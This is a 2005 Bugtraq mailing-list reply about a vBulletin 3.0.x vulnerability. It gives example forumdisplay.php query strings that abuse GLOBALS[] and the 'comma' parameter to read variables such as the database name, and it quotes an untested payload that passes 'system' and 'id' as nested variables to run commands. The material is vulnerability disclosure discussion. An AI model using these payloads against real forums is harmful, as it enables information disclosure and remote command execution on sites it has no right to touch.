bugtraq - Re: vbulletin 3.0.x PHP code execution

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Message-ID: <20050215225346.27790.qmail@www.securityfocus.com>
Date: 15 Feb 2005 22:53:46 -0000
From: AL3NDALEEB. <al3ndaleeb@....net>
To: bugtraq@...urityfocus.com
Subject: Re: vbulletin 3.0.x PHP code execution

In-Reply-To: <opsl7ypolvsmddlu@...pah>

with nested variable you can't run PHP CODE  but you can evaluate value of variables .

ex:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

>On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb@....net> wrote:
>
>The 4th condition is the most hard to find condition in php installation.  
>There is a technique to by pass magic quote condition by supplying nested  
>variable to $comma. Since I've no vbulletin source code to test with this  
>technique is not confirmed in this vulnerability.
>
>example:
>	http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id
>
>It isnever tested to real